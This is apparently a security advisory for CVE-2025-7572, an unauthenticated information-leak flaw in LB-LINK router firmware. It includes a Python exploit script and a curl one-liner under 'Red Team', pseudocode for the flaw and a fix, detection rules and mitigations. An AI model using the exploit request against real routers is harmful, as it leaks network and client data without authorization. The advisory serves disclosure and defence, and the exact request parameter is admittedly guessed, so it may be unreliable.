CVE-2025-7572

Executive Summary

CVE-2025-7572 is a critical information disclosure vulnerability affecting multiple LB-LINK router models, including BL-AC1900, BL-AC2100_AZ3, BL-AC3600, BL-AX1800, BL-AX5400P, and BL-WR9000. The flaw resides in the bs_GetHostInfo function within the libblinkapi.so library, exposed via the /cgi-bin/lighttpd.cgi endpoint. An unauthenticated remote attacker can exploit this to leak sensitive device information, such as internal network topology, connected client lists, or configuration details. The vendor has not responded to disclosure, and no patch is available. Public exploit code has been released, increasing the risk of mass exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded router devices.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – full disclosure of sensitive data.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Critical. The combination of public exploit, no patch, and remote unauthenticated access makes this a high-priority target for botnets and threat actors.

Deep Dive & Mechanics

The vulnerability is a classic case of insufficient access control in a CGI endpoint. The /cgi-bin/lighttpd.cgi binary calls the bs_GetHostInfo function from the libblinkapi.so shared library. This function is designed to retrieve host information (e.g., DHCP client list, ARP table, device uptime) for administrative purposes. However, the CGI script does not enforce authentication or authorization before invoking this function.

Root Cause: The lighttpd.cgi script lacks a session check or token validation. Any HTTP request to the endpoint triggers bs_GetHostInfo, which returns a JSON or XML blob containing sensitive data. The function itself does not validate the caller's identity.

Attack Flow:

1. Attacker sends a crafted HTTP GET request to http://<router-ip>/cgi-bin/lighttpd.cgi?action=getHostInfo (or similar parameter).
2. The CGI script executes bs_GetHostInfo without authentication.
3. The function queries the router's internal data structures (e.g., /proc/net/arp, DHCP leases) and returns the information in the HTTP response.
4. Attacker receives the data, which may include MAC addresses, IP addresses, hostnames, and potentially admin credentials if stored in plaintext.

Affected Models: All listed models share the same libblinkapi.so library, indicating a common codebase. The vulnerability likely affects all firmware versions up to 20250702.

Vulnerable vs. Patched Code

Since no patch exists, a hypothetical fix would involve adding authentication checks before calling bs_GetHostInfo.

Vulnerable Code (pseudocode):

// lighttpd.cgi
void handle_request() {
    char *action = get_cgi_param("action");
    if (strcmp(action, "getHostInfo") == 0) {
        // No authentication check
        bs_GetHostInfo();
    }
}

Patched Code (hypothetical):

// lighttpd.cgi
void handle_request() {
    char *action = get_cgi_param("action");
    char *session = get_cgi_param("session");
    if (strcmp(action, "getHostInfo") == 0) {
        if (validate_session(session) == 0) {
            return_error("Unauthorized");
        }
        bs_GetHostInfo();
    }
}

The patch would require a session token (e.g., from a login cookie) to be validated before processing the request.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable LB-LINK router on the same network (or exposed to the internet).
• Ability to send HTTP requests (e.g., curl, Python, or a browser).

Exploit (Python):

import requests

target = "http://192.168.1.1/cgi-bin/lighttpd.cgi"
params = {"action": "getHostInfo"}

try:
    r = requests.get(target, params=params, timeout=10)
    if r.status_code == 200:
        print("[+] Success! Response:")
        print(r.text)
    else:
        print(f"[-] Unexpected status code: {r.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

Usage:

1. Replace 192.168.1.1 with the router's IP.
2. Run the script. The response will contain the leaked information.

Alternative (curl):

curl "http://192.168.1.1/cgi-bin/lighttpd.cgi?action=getHostInfo"

Blue Team

Detection:

• Monitor HTTP requests to /cgi-bin/lighttpd.cgi with unusual parameters (e.g., action=getHostInfo).
• Look for repeated requests from external IPs to this endpoint.
• Check for large responses containing JSON/XML with host data.

Honeypot:

• Deploy a fake LB-LINK router on a decoy network segment.
• Log all requests to /cgi-bin/lighttpd.cgi and alert on any action=getHostInfo parameter.

Network Segmentation:

• Ensure routers are not directly exposed to the internet. Use a firewall to block inbound access to port 80/443 on the router's management interface.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /cgi-bin/lighttpd.cgi?action=getHostInfo
• Source IPs scanning for LB-LINK devices (e.g., Shodan dorks).
• Unusual outbound data from the router containing MAC addresses or DHCP lease info.

File IOCs:

• Log entries in /var/log/lighttpd/access.log showing the exploit request.
• Modified firmware files (if attacker gains further access).

Behavioral IOCs:

• Router responding to unauthenticated CGI requests.
• Sudden increase in traffic to the router's web interface.

Detection Engineering

YARA Rule

rule CVE_2025_7572_Exploit_Request {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-7572 in LB-LINK routers"
        author = "Valters IT"
        date = "2025-07-03"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-7572"
    strings:
        $cgi_path = "/cgi-bin/lighttpd.cgi"
        $action_param = "action=getHostInfo"
    condition:
        $cgi_path and $action_param
}

Sigma Rule

title: CVE-2025-7572 LB-LINK Information Disclosure Attempt
id: 8a3f9c2e-1b4d-4f7a-9c6e-2d8f0a1b3c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable CGI endpoint on LB-LINK routers
author: Valters IT
date: 2025-07-03
logsource:
    category: webserver
    product: lighttpd
detection:
    selection:
        cs-uri-query|contains: "action=getHostInfo"
        cs-uri-stem|contains: "/cgi-bin/lighttpd.cgi"
    condition: selection
falsepositives:
    - Legitimate admin access (rare, as this endpoint should not be exposed)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7572 LB-LINK Information Disclosure Attempt"; flow:to_server; content:"/cgi-bin/lighttpd.cgi"; http_uri; content:"action=getHostInfo"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If the router's web interface is accessible from the WAN, disable it immediately. This is often found under "Administration" or "Remote Access" settings.
2. Firewall Rules: Block inbound traffic to ports 80 and 443 on the router's WAN interface. Only allow management from trusted internal IPs.
3. Firmware Update: Check the vendor's website for any firmware updates. If none exist, consider replacing the device with a supported alternative.

Long-Term Mitigation:

• Network Segmentation: Place IoT devices like routers on a separate VLAN with restricted internet access.
• Vendor Communication: Report the vulnerability to CERT/CC or other disclosure platforms if the vendor remains unresponsive.
• Monitor for Exploitation: Use the provided detection rules to identify active attacks.

Workaround:

• If the router cannot be replaced, create a custom iptables rule to drop requests to /cgi-bin/lighttpd.cgi from untrusted sources:

iptables -A INPUT -p tcp --dport 80 -m string --string "/cgi-bin/lighttpd.cgi" --algo bm -j DROP

Valters IT
DevSecOps & Cyber Threat Intelligence